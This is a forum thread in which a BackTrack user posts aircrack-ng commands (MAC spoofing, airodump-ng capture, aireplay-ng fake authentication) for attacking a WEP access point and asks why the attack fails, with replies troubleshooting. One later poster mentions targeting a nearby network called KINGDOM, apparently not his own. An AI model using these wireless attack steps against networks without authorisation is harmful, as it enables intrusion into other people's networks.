Could you give us more details ? Like the exact error message you are receiving ?
ok, this is my first time running backtrack so bear with me. I rn backtrack4 off live usb, using hp desctop pavilion with alfa network wireless card. (also connected to wired internet connection)
here is the coding
1)airmon-ng stop wlan0
2)ifconfig wlan0 down
3)macchanger --mac 00:11:22:33:44:55 wlan0
4)airmon-ng start wlan0
6)airodump-ng -c (channel) -w (file name) --bssid (bssid) wlan0
7)aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (name) wlan0
Wen i do the last step it says Attack was unsuccessful, and gives me the list of all the possible reasons, which i dont understand. How do i find out which is the reason and how do i fix it?
I think this is the error you are getting when you try to fake associate with the network.
1)It is your AP so you can check if mac adress filtering is enabled in the router web interface.Code:Attack was unsuccessful. Possible reasons: * Perhaps MAC address filtering is enabled. * Check that the BSSID (-a option) is correct. * Try to change the number of packets (-o option). * The driver/card doesn't support injection. * This attack sometimes fails against some APs. * The card is not on the same channel as the AP. * You're too far from the AP. Get closer, or lower the transmit rate.
2) check if you entered the bssid correctly
3)make sure your card supports injection
4)make sure you are on the same channel
5)make sure you are close enough to your AP.
The error message explains itself actually.
I hope this helps.
I Also Have The Same Problem
In My Area There Comes Wireless Network Named KINGDOM (WEP)

Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled.
* Check that the BSSID (-a option) is correct.
* Try to change the number of packets (-o option).
* The driver/card doesn’t support injection.
* This attack sometimes fails against some APs.
* The card is not on the same channel as the AP.
* You’re too far from the AP. Get closer, or lower
the transmit rate.
You should read up on the technologies behind those commands, as this would be cake if you actually understood what they were doing...
in my experience the most common problem is your wireless card does not support injection.
